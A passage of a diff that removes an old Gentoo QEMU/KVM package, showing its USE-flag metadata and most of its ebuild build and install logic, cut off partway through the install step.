||||
fi
|
||||
done
|
||||
|
||||
eend $?
|
||||
}
|
||||
|
||||
# vim: ts=4 :
|
@ -1,58 +0,0 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
|
||||
<pkgmetadata>
|
||||
<maintainer type="project">
|
||||
<email>qemu@gentoo.org</email>
|
||||
<name>Gentoo QEMU Project</name>
|
||||
</maintainer>
|
||||
<use>
|
||||
<flag name="accessibility">Adds support for braille displays using brltty</flag>
|
||||
<flag name="aio">Enables support for Linux's Async IO</flag>
|
||||
<flag name="alsa">Enable alsa output for sound emulation</flag>
|
||||
<flag name="curl">Support ISOs / -cdrom directives vis HTTP or HTTPS.</flag>
|
||||
<flag name="fdt">Enables firmware device tree support</flag>
|
||||
<flag name="glusterfs">Enables GlusterFS cluster fileystem via
|
||||
<pkg>sys-cluster/glusterfs</pkg></flag>
|
||||
<flag name="gnutls">Enable TLS support for the VNC console server.
|
||||
For 1.4 and newer this also enables WebSocket support.
|
||||
For 2.0 through 2.3 also enables disk quorum support.</flag>
|
||||
<flag name="gtk2">Use gtk-2 instead of gtk-3</flag>
|
||||
<flag name="iscsi">Enable direct iSCSI support via
|
||||
<pkg>net-libs/libiscsi</pkg> instead of indirectly via the Linux
|
||||
block layer that <pkg>sys-block/open-iscsi</pkg> does.</flag>
|
||||
<flag name="ncurses">Enable the ncurses-based console</flag>
|
||||
<flag name="nfs">Enable NFS support</flag>
|
||||
<flag name="numa">Enable NUMA support</flag>
|
||||
<flag name="pin-upstream-blobs">Pin the versions of BIOS firmware to the version included in the upstream release.
|
||||
This is needed to sanely support migration/suspend/resume/snapshotting/etc... of instances.
|
||||
When the blobs are different, random corruption/bugs/crashes/etc... may be observed.</flag>
|
||||
<flag name="pulseaudio">Enable pulseaudio output for sound emulation</flag>
|
||||
<flag name="rbd">Enable rados block device backend support, see http://ceph.newdream.net/wiki/QEMU-RBD</flag>
|
||||
<flag name="sdl">Enable the SDL-based console</flag>
|
||||
<flag name="sdl2">Use libsdl2 instead of libsdl</flag>
|
||||
<flag name="spice">Enable Spice protocol support via <pkg>app-emulation/spice</pkg></flag>
|
||||
<flag name="ssh">Enable SSH based block device support via <pkg>net-libs/libssh2</pkg></flag>
|
||||
<flag name="static-softmmu">Builds the Software MMU (system) targets as static binaries</flag>
|
||||
<flag name="static-user">Build the User targets as static binaries</flag>
|
||||
<flag name="static">Enables both 'static-softmmu' and 'static-user'</flag>
|
||||
<flag name="snappy">Enable support for snappy compression</flag>
|
||||
<flag name="systemtap">Enable SystemTAP/DTrace tracing</flag>
|
||||
<flag name="tci">Enable the TCG Interpreter which can speed up or slowdown workloads depending on the host and guest CPUs being emulated. In the future it will be a runtime option but for now its compile time.</flag>
|
||||
<flag name="jpeg">Enable jpeg image support for the VNC console server</flag>
|
||||
<flag name="png">Enable png image support for the VNC console server</flag>
|
||||
<flag name="usb">Enable USB passthrough via <pkg>dev-libs/libusb</pkg></flag>
|
||||
<flag name="usbredir">Use <pkg>sys-apps/usbredir</pkg> to redirect USB devices to another machine over TCP</flag>
|
||||
<flag name="uuid">Enable UUID support in the vdi block driver</flag>
|
||||
<flag name="vde">Enable VDE-based networking</flag>
|
||||
<flag name="vhost-net">Enable accelerated networking using vhost-net, see http://www.linux-kvm.org/page/VhostNet</flag>
|
||||
<flag name="virgl">Enable experimental Virgil 3d (virtual software GPU)</flag>
|
||||
<flag name="virtfs">Enable VirtFS via virtio-9p-pci / fsdev. See http://wiki.qemu.org/Documentation/9psetup</flag>
|
||||
<flag name="vte">Enable terminal support (<pkg>x11-libs/vte</pkg>) in the GTK+ interface</flag>
|
||||
<flag name="xattr">Add support for getting and setting POSIX extended attributes, through
|
||||
<pkg>sys-apps/attr</pkg>. Requisite for the virtfs backend.
|
||||
</flag>
|
||||
<flag name="xen">Enables support for Xen backends</flag>
|
||||
<flag name="xfs">Support xfsctl() notification and syncing for XFS backed
|
||||
virtual disks.</flag>
|
||||
</use>
|
||||
</pkgmetadata>
|
@ -1,678 +0,0 @@
|
||||
# Copyright 1999-2016 Gentoo Foundation
|
||||
# Distributed under the terms of the GNU General Public License v2
|
||||
# $Id$
|
||||
|
||||
EAPI="5"
|
||||
|
||||
PYTHON_COMPAT=( python2_7 )
|
||||
PYTHON_REQ_USE="ncurses,readline"
|
||||
|
||||
PLOCALES="bg de_DE fr_FR hu it tr zh_CN"
|
||||
|
||||
inherit eutils flag-o-matic linux-info toolchain-funcs multilib python-r1 \
|
||||
user udev fcaps readme.gentoo pax-utils l10n
|
||||
|
||||
if [[ ${PV} = *9999* ]]; then
|
||||
EGIT_REPO_URI="git://git.qemu.org/qemu.git"
|
||||
inherit git-2
|
||||
SRC_URI=""
|
||||
else
|
||||
SRC_URI="http://wiki.qemu-project.org/download/${P}.tar.bz2"
|
||||
KEYWORDS="amd64 ~arm64 ~ppc ~ppc64 x86 ~x86-fbsd"
|
||||
fi
|
||||
|
||||
DESCRIPTION="QEMU + Kernel-based Virtual Machine userland tools"
|
||||
HOMEPAGE="http://www.qemu.org http://www.linux-kvm.org"
|
||||
|
||||
LICENSE="GPL-2 LGPL-2 BSD-2"
|
||||
SLOT="0"
|
||||
IUSE="accessibility +aio alsa bluetooth bzip2 +caps +curl debug +fdt glusterfs \
|
||||
gnutls gtk gtk2 infiniband iscsi +jpeg \
|
||||
kernel_linux kernel_FreeBSD lzo ncurses nfs nls numa opengl +pin-upstream-blobs
|
||||
+png pulseaudio python \
|
||||
rbd sasl +seccomp sdl sdl2 selinux smartcard snappy spice ssh static static-softmmu
|
||||
static-user systemtap tci test +threads usb usbredir +uuid vde +vhost-net \
|
||||
virgl virtfs +vnc vte xattr xen xfs"
|
||||
|
||||
COMMON_TARGETS="aarch64 alpha arm cris i386 m68k microblaze microblazeel mips
|
||||
mips64 mips64el mipsel or32 ppc ppc64 s390x sh4 sh4eb sparc sparc64 unicore32
|
||||
x86_64"
|
||||
IUSE_SOFTMMU_TARGETS="${COMMON_TARGETS} lm32 moxie ppcemb tricore xtensa xtensaeb"
|
||||
IUSE_USER_TARGETS="${COMMON_TARGETS} armeb mipsn32 mipsn32el ppc64abi32 ppc64le sparc32plus tilegx"
|
||||
|
||||
use_softmmu_targets=$(printf ' qemu_softmmu_targets_%s' ${IUSE_SOFTMMU_TARGETS})
|
||||
use_user_targets=$(printf ' qemu_user_targets_%s' ${IUSE_USER_TARGETS})
|
||||
IUSE+=" ${use_softmmu_targets} ${use_user_targets}"
|
||||
|
||||
# Allow no targets to be built so that people can get a tools-only build.
|
||||
# Block USE flag configurations known to not work.
|
||||
REQUIRED_USE="${PYTHON_REQUIRED_USE}
|
||||
gtk2? ( gtk )
|
||||
qemu_softmmu_targets_arm? ( fdt )
|
||||
qemu_softmmu_targets_microblaze? ( fdt )
|
||||
qemu_softmmu_targets_ppc? ( fdt )
|
||||
qemu_softmmu_targets_ppc64? ( fdt )
|
||||
sdl2? ( sdl )
|
||||
static? ( static-softmmu static-user )
|
||||
static-softmmu? ( !alsa !pulseaudio !bluetooth !opengl !gtk !gtk2 )
|
||||
virtfs? ( xattr )
|
||||
vte? ( gtk )"
|
||||
|
||||
# Yep, you need both libcap and libcap-ng since virtfs only uses libcap.
|
||||
#
|
||||
# The attr lib isn't always linked in (although the USE flag is always
|
||||
# respected). This is because qemu supports using the C library's API
|
||||
# when available rather than always using the extranl library.
|
||||
#
|
||||
# Older versions of gnutls are supported, but it's simpler to just require
|
||||
# the latest versions. This is also why we require nettle.
|
||||
#
|
||||
# TODO: Split out tools deps into another var. e.g. bzip2 is only used by
|
||||
# system binaries and tools, not user binaries.
|
||||
COMMON_LIB_DEPEND=">=dev-libs/glib-2.0[static-libs(+)]
|
||||
sys-libs/zlib[static-libs(+)]
|
||||
bzip2? ( app-arch/bzip2[static-libs(+)] )
|
||||
xattr? ( sys-apps/attr[static-libs(+)] )"
|
||||
SOFTMMU_LIB_DEPEND="${COMMON_LIB_DEPEND}
|
||||
>=x11-libs/pixman-0.28.0[static-libs(+)]
|
||||
accessibility? ( app-accessibility/brltty[static-libs(+)] )
|
||||
aio? ( dev-libs/libaio[static-libs(+)] )
|
||||
alsa? ( >=media-libs/alsa-lib-1.0.13 )
|
||||
bluetooth? ( net-wireless/bluez )
|
||||
caps? ( sys-libs/libcap-ng[static-libs(+)] )
|
||||
curl? ( >=net-misc/curl-7.15.4[static-libs(+)] )
|
||||
fdt? ( >=sys-apps/dtc-1.4.0[static-libs(+)] )
|
||||
glusterfs? ( >=sys-cluster/glusterfs-3.4.0[static-libs(+)] )
|
||||
gnutls? (
|
||||
dev-libs/nettle:=[static-libs(+)]
|
||||
>=net-libs/gnutls-3.0:=[static-libs(+)]
|
||||
)
|
||||
gtk? (
|
||||
gtk2? (
|
||||
x11-libs/gtk+:2
|
||||
vte? ( x11-libs/vte:0 )
|
||||
)
|
||||
!gtk2? (
|
||||
x11-libs/gtk+:3
|
||||
vte? ( x11-libs/vte:2.90 )
|
||||
)
|
||||
)
|
||||
infiniband? ( sys-fabric/librdmacm:=[static-libs(+)] )
|
||||
iscsi? ( net-libs/libiscsi )
|
||||
jpeg? ( virtual/jpeg:0=[static-libs(+)] )
|
||||
lzo? ( dev-libs/lzo:2[static-libs(+)] )
|
||||
ncurses? ( sys-libs/ncurses:0=[static-libs(+)] )
|
||||
nfs? ( >=net-fs/libnfs-1.9.3[static-libs(+)] )
|
||||
numa? ( sys-process/numactl[static-libs(+)] )
|
||||
opengl? (
|
||||
virtual/opengl
|
||||
media-libs/libepoxy[static-libs(+)]
|
||||
media-libs/mesa[static-libs(+)]
|
||||
media-libs/mesa[egl,gles2]
|
||||
)
|
||||
png? ( media-libs/libpng:0=[static-libs(+)] )
|
||||
pulseaudio? ( media-sound/pulseaudio )
|
||||
rbd? ( sys-cluster/ceph[static-libs(+)] )
|
||||
sasl? ( dev-libs/cyrus-sasl[static-libs(+)] )
|
||||
sdl? (
|
||||
!sdl2? (
|
||||
media-libs/libsdl[X]
|
||||
>=media-libs/libsdl-1.2.11[static-libs(+)]
|
||||
)
|
||||
sdl2? (
|
||||
media-libs/libsdl2[X]
|
||||
media-libs/libsdl2[static-libs(+)]
|
||||
)
|
||||
)
|
||||
seccomp? ( >=sys-libs/libseccomp-2.1.0[static-libs(+)] )
|
||||
smartcard? ( >=app-emulation/libcacard-2.5.0[static-libs(+)] )
|
||||
snappy? ( app-arch/snappy[static-libs(+)] )
|
||||
spice? (
|
||||
>=app-emulation/spice-protocol-0.12.3
|
||||
>=app-emulation/spice-0.12.0[static-libs(+)]
|
||||
)
|
||||
ssh? ( >=net-libs/libssh2-1.2.8[static-libs(+)] )
|
||||
usb? ( >=virtual/libusb-1-r2[static-libs(+)] )
|
||||
usbredir? ( >=sys-apps/usbredir-0.6[static-libs(+)] )
|
||||
uuid? ( >=sys-apps/util-linux-2.16.0[static-libs(+)] )
|
||||
vde? ( net-misc/vde[static-libs(+)] )
|
||||
virgl? ( media-libs/virglrenderer[static-libs(+)] )
|
||||
virtfs? ( sys-libs/libcap )
|
||||
xfs? ( sys-fs/xfsprogs[static-libs(+)] )"
|
||||
USER_LIB_DEPEND="${COMMON_LIB_DEPEND}"
|
||||
X86_FIRMWARE_DEPEND="
|
||||
>=sys-firmware/ipxe-1.0.0_p20130624
|
||||
pin-upstream-blobs? (
|
||||
~sys-firmware/seabios-1.8.2
|
||||
~sys-firmware/sgabios-0.1_pre8
|
||||
~sys-firmware/vgabios-0.7a
|
||||
)
|
||||
!pin-upstream-blobs? (
|
||||
sys-firmware/seabios
|
||||
sys-firmware/sgabios
|
||||
sys-firmware/vgabios
|
||||
)"
|
||||
CDEPEND="
|
||||
!static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND//\[static-libs(+)]} ) " ${use_softmmu_targets}) )
|
||||
!static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND//\[static-libs(+)]} ) " ${use_user_targets}) )
|
||||
qemu_softmmu_targets_i386? ( ${X86_FIRMWARE_DEPEND} )
|
||||
qemu_softmmu_targets_x86_64? ( ${X86_FIRMWARE_DEPEND} )
|
||||
python? ( ${PYTHON_DEPS} )
|
||||
systemtap? ( dev-util/systemtap )
|
||||
xen? ( app-emulation/xen-tools:= )"
|
||||
DEPEND="${CDEPEND}
|
||||
dev-lang/perl
|
||||
=dev-lang/python-2*
|
||||
sys-apps/texinfo
|
||||
virtual/pkgconfig
|
||||
kernel_linux? ( >=sys-kernel/linux-headers-2.6.35 )
|
||||
gtk? ( nls? ( sys-devel/gettext ) )
|
||||
static-softmmu? ( $(printf "%s? ( ${SOFTMMU_LIB_DEPEND} ) " ${use_softmmu_targets}) )
|
||||
static-user? ( $(printf "%s? ( ${USER_LIB_DEPEND} ) " ${use_user_targets}) )
|
||||
test? (
|
||||
dev-libs/glib[utils]
|
||||
sys-devel/bc
|
||||
)"
|
||||
RDEPEND="${CDEPEND}
|
||||
selinux? ( sec-policy/selinux-qemu )
|
||||
"
|
||||
|
||||
STRIP_MASK="/usr/share/qemu/palcode-clipper"
|
||||
|
||||
QA_PREBUILT="
|
||||
usr/share/qemu/openbios-ppc
|
||||
usr/share/qemu/openbios-sparc64
|
||||
usr/share/qemu/openbios-sparc32
|
||||
usr/share/qemu/palcode-clipper
|
||||
usr/share/qemu/s390-ccw.img
|
||||
usr/share/qemu/u-boot.e500
|
||||
"
|
||||
|
||||
QA_WX_LOAD="usr/bin/qemu-i386
|
||||
usr/bin/qemu-x86_64
|
||||
usr/bin/qemu-alpha
|
||||
usr/bin/qemu-arm
|
||||
usr/bin/qemu-cris
|
||||
usr/bin/qemu-m68k
|
||||
usr/bin/qemu-microblaze
|
||||
usr/bin/qemu-microblazeel
|
||||
usr/bin/qemu-mips
|
||||
usr/bin/qemu-mipsel
|
||||
usr/bin/qemu-or32
|
||||
usr/bin/qemu-ppc
|
||||
usr/bin/qemu-ppc64
|
||||
usr/bin/qemu-ppc64abi32
|
||||
usr/bin/qemu-sh4
|
||||
usr/bin/qemu-sh4eb
|
||||
usr/bin/qemu-sparc
|
||||
usr/bin/qemu-sparc64
|
||||
usr/bin/qemu-armeb
|
||||
usr/bin/qemu-sparc32plus
|
||||
usr/bin/qemu-s390x
|
||||
usr/bin/qemu-unicore32"
|
||||
|
||||
DOC_CONTENTS="If you don't have kvm compiled into the kernel, make sure
|
||||
you have the kernel module loaded before running kvm. The easiest way to
|
||||
ensure that the kernel module is loaded is to load it on boot.\n
|
||||
For AMD CPUs the module is called 'kvm-amd'.\n
|
||||
For Intel CPUs the module is called 'kvm-intel'.\n
|
||||
Please review /etc/conf.d/modules for how to load these.\n\n
|
||||
Make sure your user is in the 'kvm' group\n
|
||||
Just run 'gpasswd -a <USER> kvm', then have <USER> re-login.\n\n
|
||||
For brand new installs, the default permissions on /dev/kvm might not let you
|
||||
access it. You can tell udev to reset ownership/perms:\n
|
||||
udevadm trigger -c add /dev/kvm"
|
||||
|
||||
qemu_support_kvm() {
|
||||
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386 \
|
||||
use qemu_softmmu_targets_ppc || use qemu_softmmu_targets_ppc64 \
|
||||
use qemu_softmmu_targets_s390x; then
|
||||
return 0
|
||||
fi
|
||||
|
||||
return 1
|
||||
}
|
||||
|
||||
pkg_pretend() {
|
||||
if use kernel_linux && kernel_is lt 2 6 25; then
|
||||
eerror "This version of KVM requres a host kernel of 2.6.25 or higher."
|
||||
elif use kernel_linux; then
|
||||
if ! linux_config_exists; then
|
||||
eerror "Unable to check your kernel for KVM support"
|
||||
else
|
||||
CONFIG_CHECK="~KVM ~TUN ~BRIDGE"
|
||||
ERROR_KVM="You must enable KVM in your kernel to continue"
|
||||
ERROR_KVM_AMD="If you have an AMD CPU, you must enable KVM_AMD in"
|
||||
ERROR_KVM_AMD+=" your kernel configuration."
|
||||
ERROR_KVM_INTEL="If you have an Intel CPU, you must enable"
|
||||
ERROR_KVM_INTEL+=" KVM_INTEL in your kernel configuration."
|
||||
ERROR_TUN="You will need the Universal TUN/TAP driver compiled"
|
||||
ERROR_TUN+=" into your kernel or loaded as a module to use the"
|
||||
ERROR_TUN+=" virtual network device if using -net tap."
|
||||
ERROR_BRIDGE="You will also need support for 802.1d"
|
||||
ERROR_BRIDGE+=" Ethernet Bridging for some network configurations."
|
||||
use vhost-net && CONFIG_CHECK+=" ~VHOST_NET"
|
||||
ERROR_VHOST_NET="You must enable VHOST_NET to have vhost-net"
|
||||
ERROR_VHOST_NET+=" support"
|
||||
|
||||
if use amd64 || use x86 || use amd64-linux || use x86-linux; then
|
||||
CONFIG_CHECK+=" ~KVM_AMD ~KVM_INTEL"
|
||||
fi
|
||||
|
||||
use python && CONFIG_CHECK+=" ~DEBUG_FS"
|
||||
ERROR_DEBUG_FS="debugFS support required for kvm_stat"
|
||||
|
||||
# Now do the actual checks setup above
|
||||
check_extra_config
|
||||
fi
|
||||
fi
|
||||
|
||||
if grep -qs '/usr/bin/qemu-kvm' "${EROOT}"/etc/libvirt/qemu/*.xml; then
|
||||
eerror "The kvm/qemu-kvm wrappers no longer exist, but your libvirt"
|
||||
eerror "instances are still pointing to it. Please update your"
|
||||
eerror "configs in /etc/libvirt/qemu/ to use the -enable-kvm flag"
|
||||
eerror "and the right system binary (e.g. qemu-system-x86_64)."
|
||||
die "update your virt configs to not use qemu-kvm"
|
||||
fi
|
||||
}
|
||||
|
||||
pkg_setup() {
|
||||
enewgroup kvm 78
|
||||
}
|
||||
|
||||
# Sanity check to make sure target lists are kept up-to-date.
|
||||
check_targets() {
|
||||
local var=$1 mak=$2
|
||||
local detected sorted
|
||||
|
||||
pushd "${S}"/default-configs >/dev/null || die
|
||||
|
||||
# Force C locale until glibc is updated. #564936
|
||||
detected=$(echo $(printf '%s\n' *-${mak}.mak | sed "s:-${mak}.mak::" | LC_COLLATE=C sort -u))
|
||||
sorted=$(echo $(printf '%s\n' ${!var} | LC_COLLATE=C sort -u))
|
||||
if [[ ${sorted} != "${detected}" ]] ; then
|
||||
eerror "The ebuild needs to be kept in sync."
|
||||
eerror "${var}: ${sorted}"
|
||||
eerror "$(printf '%-*s' ${#var} configure): ${detected}"
|
||||
die "sync ${var} to the list of targets"
|
||||
fi
|
||||
|
||||
popd >/dev/null
|
||||
}
|
||||
|
||||
handle_locales() {
|
||||
# Make sure locale list is kept up-to-date.
|
||||
local detected sorted
|
||||
detected=$(echo $(cd po && printf '%s\n' *.po | grep -v messages.po | sed 's:.po$::' | sort -u))
|
||||
sorted=$(echo $(printf '%s\n' ${PLOCALES} | sort -u))
|
||||
if [[ ${sorted} != "${detected}" ]] ; then
|
||||
eerror "The ebuild needs to be kept in sync."
|
||||
eerror "PLOCALES: ${sorted}"
|
||||
eerror " po/*.po: ${detected}"
|
||||
die "sync PLOCALES"
|
||||
fi
|
||||
|
||||
# Deal with selective install of locales.
|
||||
if use nls ; then
|
||||
# Delete locales the user does not want. #577814
|
||||
rm_loc() { rm po/$1.po || die; }
|
||||
l10n_for_each_disabled_locale_do rm_loc
|
||||
else
|
||||
# Cheap hack to disable gettext .mo generation.
|
||||
rm -f po/*.po
|
||||
fi
|
||||
}
|
||||
|
||||
src_prepare() {
|
||||
check_targets IUSE_SOFTMMU_TARGETS softmmu
|
||||
check_targets IUSE_USER_TARGETS linux-user
|
||||
|
||||
# Alter target makefiles to accept CFLAGS set via flag-o
|
||||
sed -i -r \
|
||||
-e 's/^(C|OP_C|HELPER_C)FLAGS=/\1FLAGS+=/' \
|
||||
Makefile Makefile.target || die
|
||||
|
||||
epatch "${FILESDIR}"/${PN}-2.5.0-cflags.patch
|
||||
epatch "${FILESDIR}"/${PN}-2.5.0-sysmacros.patch
|
||||
epatch "${FILESDIR}"/${P}-CVE-2016-6836.patch
|
||||
# Fix ld and objcopy being called directly
|
||||
tc-export AR LD OBJCOPY
|
||||
|
||||
# Verbose builds
|
||||
MAKEOPTS+=" V=1"
|
||||
|
||||
epatch_user
|
||||
|
||||
# Run after we've applied all patches.
|
||||
handle_locales
|
||||
}
|
||||
|
||||
##
|
||||
# configures qemu based on the build directory and the build type
|
||||
# we are using.
|
||||
#
|
||||
qemu_src_configure() {
|
||||
debug-print-function ${FUNCNAME} "$@"
|
||||
|
||||
local buildtype=$1
|
||||
local builddir="${S}/${buildtype}-build"
|
||||
local static_flag="static-${buildtype}"
|
||||
|
||||
mkdir "${builddir}"
|
||||
|
||||
local conf_opts=(
|
||||
--prefix=/usr
|
||||
--sysconfdir=/etc
|
||||
--libdir=/usr/$(get_libdir)
|
||||
--docdir=/usr/share/doc/${PF}/html
|
||||
--disable-bsd-user
|
||||
--disable-guest-agent
|
||||
--disable-strip
|
||||
--disable-werror
|
||||
# We support gnutls/nettle for crypto operations. It is possible
|
||||
# to use gcrypt when gnutls/nettle are disabled (but not when they
|
||||
# are enabled), but it's not really worth the hassle. Disable it
|
||||
# all the time to avoid automatically detecting it. #568856
|
||||
--disable-gcrypt
|
||||
--python="${PYTHON}"
|
||||
--cc="$(tc-getCC)"
|
||||
--cxx="$(tc-getCXX)"
|
||||
--host-cc="$(tc-getBUILD_CC)"
|
||||
$(use_enable debug debug-info)
|
||||
$(use_enable debug debug-tcg)
|
||||
--enable-docs
|
||||
$(use_enable tci tcg-interpreter)
|
||||
$(use_enable xattr attr)
|
||||
)
|
||||
|
||||
# Disable options not used by user targets as the default configure
|
||||
# options will autoprobe and try to link in a bunch of unused junk.
|
||||
conf_softmmu() {
|
||||
if [[ ${buildtype} == "user" ]] ; then
|
||||
echo "--disable-${2:-$1}"
|
||||
else
|
||||
use_enable "$@"
|
||||
fi
|
||||
}
|
||||
conf_opts+=(
|
||||
$(conf_softmmu accessibility brlapi)
|
||||
$(conf_softmmu aio linux-aio)
|
||||
$(conf_softmmu bzip2)
|
||||
$(conf_softmmu bluetooth bluez)
|
||||
$(conf_softmmu caps cap-ng)
|
||||
$(conf_softmmu curl)
|
||||
$(conf_softmmu fdt)
|
||||
$(conf_softmmu glusterfs)
|
||||
$(conf_softmmu gnutls)
|
||||
$(conf_softmmu gnutls nettle)
|
||||
$(conf_softmmu gtk)
|
||||
$(conf_softmmu infiniband rdma)
|
||||
$(conf_softmmu iscsi libiscsi)
|
||||
$(conf_softmmu jpeg vnc-jpeg)
|
||||
$(conf_softmmu kernel_linux kvm)
|
||||
$(conf_softmmu lzo)
|
||||
$(conf_softmmu ncurses curses)
|
||||
$(conf_softmmu nfs libnfs)
|
||||
$(conf_softmmu numa)
|
||||
$(conf_softmmu opengl)
|
||||
$(conf_softmmu png vnc-png)
|
||||
$(conf_softmmu rbd)
|
||||
$(conf_softmmu sasl vnc-sasl)
|
||||
$(conf_softmmu sdl)
|
||||
$(conf_softmmu seccomp)
|
||||
$(conf_softmmu smartcard)
|
||||
$(conf_softmmu snappy)
|
||||
$(conf_softmmu spice)
|
||||
$(conf_softmmu ssh libssh2)
|
||||
$(conf_softmmu usb libusb)
|
||||
$(conf_softmmu usbredir usb-redir)
|
||||
$(conf_softmmu uuid)
|
||||
$(conf_softmmu vde)
|
||||
$(conf_softmmu vhost-net)
|
||||
$(conf_softmmu virgl virglrenderer)
|
||||
$(conf_softmmu virtfs)
|
||||
$(conf_softmmu vnc)
|
||||
$(conf_softmmu vte)
|
||||
$(conf_softmmu xen)
|
||||
$(conf_softmmu xen xen-pci-passthrough)
|
||||
$(conf_softmmu xfs xfsctl)
|
||||
)
|
||||
|
||||
case ${buildtype} in
|
||||
user)
|
||||
conf_opts+=(
|
||||
--enable-linux-user
|
||||
--disable-system
|
||||
--disable-blobs
|
||||
--disable-tools
|
||||
)
|
||||
;;
|
||||
softmmu)
|
||||
# audio options
|
||||
local audio_opts="oss"
|
||||
use alsa && audio_opts="alsa,${audio_opts}"
|
||||
use sdl && audio_opts="sdl,${audio_opts}"
|
||||
use pulseaudio && audio_opts="pa,${audio_opts}"
|
||||
|
||||
conf_opts+=(
|
||||
--disable-linux-user
|
||||
--enable-system
|
||||
--with-system-pixman
|
||||
--audio-drv-list="${audio_opts}"
|
||||
)
|
||||
use gtk && conf_opts+=( --with-gtkabi=$(usex gtk2 2.0 3.0) )
|
||||
use sdl && conf_opts+=( --with-sdlabi=$(usex sdl2 2.0 1.2) )
|
||||
;;
|
||||
tools)
|
||||
conf_opts+=(
|
||||
--disable-linux-user
|
||||
--disable-system
|
||||
--disable-blobs
|
||||
$(use_enable bzip2)
|
||||
)
|
||||
static_flag="static"
|
||||
;;
|
||||
esac
|
||||
|
||||
local targets="${buildtype}_targets"
|
||||
[[ -n ${targets} ]] && conf_opts+=( --target-list="${!targets}" )
|
||||
|
||||
# Add support for SystemTAP
|
||||
use systemtap && conf_opts+=( --enable-trace-backend=dtrace )
|
||||
|
||||
# We always want to attempt to build with PIE support as it results
|
||||
# in a more secure binary. But it doesn't work with static or if
|
||||
# the current GCC doesn't have PIE support.
|
||||
if use ${static_flag}; then
|
||||
conf_opts+=( --static --disable-pie )
|
||||
else
|
||||
gcc-specs-pie && conf_opts+=( --enable-pie )
|
||||
fi
|
||||
|
||||
echo "../configure ${conf_opts[*]}"
|
||||
cd "${builddir}"
|
||||
../configure "${conf_opts[@]}" || die "configure failed"
|
||||
|
||||
# FreeBSD's kernel does not support QEMU assigning/grabbing
|
||||
# host USB devices yet
|
||||
use kernel_FreeBSD && \
|
||||
sed -i -E -e "s|^(HOST_USB=)bsd|\1stub|" "${S}"/config-host.mak
|
||||
}
|
||||
|
||||
src_configure() {
|
||||
local target
|
||||
|
||||
python_setup
|
||||
|
||||
softmmu_targets= softmmu_bins=()
|
||||
user_targets= user_bins=()
|
||||
|
||||
for target in ${IUSE_SOFTMMU_TARGETS} ; do
|
||||
if use "qemu_softmmu_targets_${target}"; then
|
||||
softmmu_targets+=",${target}-softmmu"
|
||||
softmmu_bins+=( "qemu-system-${target}" )
|
||||
fi
|
||||
done
|
||||
|
||||
for target in ${IUSE_USER_TARGETS} ; do
|
||||
if use "qemu_user_targets_${target}"; then
|
||||
user_targets+=",${target}-linux-user"
|
||||
user_bins+=( "qemu-${target}" )
|
||||
fi
|
||||
done
|
||||
|
||||
softmmu_targets=${softmmu_targets#,}
|
||||
user_targets=${user_targets#,}
|
||||
|
||||
[[ -n ${softmmu_targets} ]] && qemu_src_configure "softmmu"
|
||||
[[ -n ${user_targets} ]] && qemu_src_configure "user"
|
||||
[[ -z ${softmmu_targets}${user_targets} ]] && qemu_src_configure "tools"
|
||||
}
|
||||
|
||||
src_compile() {
|
||||
if [[ -n ${user_targets} ]]; then
|
||||
cd "${S}/user-build"
|
||||
default
|
||||
fi
|
||||
|
||||
if [[ -n ${softmmu_targets} ]]; then
|
||||
cd "${S}/softmmu-build"
|
||||
default
|
||||
fi
|
||||
|
||||
if [[ -z ${softmmu_targets}${user_targets} ]]; then
|
||||
cd "${S}/tools-build"
|
||||
default
|
||||
fi
|
||||
}
|
||||
|
||||
src_test() {
|
||||
if [[ -n ${softmmu_targets} ]]; then
|
||||
cd "${S}/softmmu-build"
|
||||
pax-mark m */qemu-system-* #515550
|
||||
emake -j1 check
|
||||
emake -j1 check-report.html
|
||||
fi
|
||||
}
|
||||
|
||||
qemu_python_install() {
|
||||
python_domodule "${S}/scripts/qmp/qmp.py"
|
||||
|
||||
python_doscript "${S}/scripts/kvm/vmxcap"
|
||||
python_doscript "${S}/scripts/qmp/qmp-shell"
|
||||
python_doscript "${S}/scripts/qmp/qemu-ga-client"
|
||||
}
|
||||
|
||||
src_install() {
|
||||
if [[ -n ${user_targets} ]]; then
|
||||
cd "${S}/user-build"
|
||||
emake DESTDIR="${ED}" install
|
||||
|
||||
# Install binfmt handler init script for user targets
|
||||
newinitd "${FILESDIR}/qemu-binfmt.initd-r1" qemu-binfmt
|
||||
fi
|
||||
|
||||
if [[ -n ${softmmu_targets} ]]; then
|
||||
cd "${S}/softmmu-build"
|
||||
emake DESTDIR="${ED}" install
|
||||
|
||||
# This might not exist if the test failed. #512010
|
||||
[[ -e check-report.html ]] && dohtml check-report.html
|
||||
|
||||
if use kernel_linux; then
|
||||
udev_dorules "${FILESDIR}"/65-kvm.rules
|
||||
fi
|
||||
|
||||
if use python; then
|
||||
python_foreach_impl qemu_python_install
|
||||
fi
|
||||
fi
|
||||
|
||||
if [[ -z ${softmmu_targets}${user_targets} ]]; then
|
||||
cd "${S}/tools-build"
|
||||
emake DESTDIR="${ED}" install
|
||||
fi
|
||||
|
||||
# Disable mprotect on the qemu binaries as they use JITs to be fast #459348
|
||||
pushd "${ED}"/usr/bin >/dev/null
|
||||
pax-mark m "${softmmu_bins[@]}" "${user_bins[@]}"
|
||||
popd >/dev/null
|
||||
|
||||
# Install config file example for qemu-bridge-helper
|
||||
insinto "/etc/qemu"
|
||||
doins "${FILESDIR}/bridge.conf"
|
||||
|
||||
# Remove the docdir placed qmp-commands.txt
|
||||
mv "${ED}/usr/share/doc/${PF}/html/qmp-commands.txt" "${S}/docs/" || die
|
||||
|
||||
cd "${S}"
|
||||
dodoc Changelog MAINTAINERS docs/specs/pci-ids.txt
|
||||
newdoc pc-bios/README README.pc-bios
|
||||
dodoc docs/qmp-*.txt
|
||||
|
||||
if [[ -n ${softmmu_targets} ]]; then
|
||||
# Remove SeaBIOS since we're using the SeaBIOS packaged one
|
||||
rm "${ED}/usr/share/qemu/bios.bin"
|
||||
if use qemu_softmmu_targets_x86_64 || use qemu_softmmu_targets_i386; then
|
||||
dosym ../seabios/bios.bin /usr/share/qemu/bios.bin
|
||||
fi
|
||||
|
||||
# Remove vgabios since we're using the vgabios packaged one
|
||||
rm "${ED}/usr/share/qemu/vgabios.bin"
|
||||
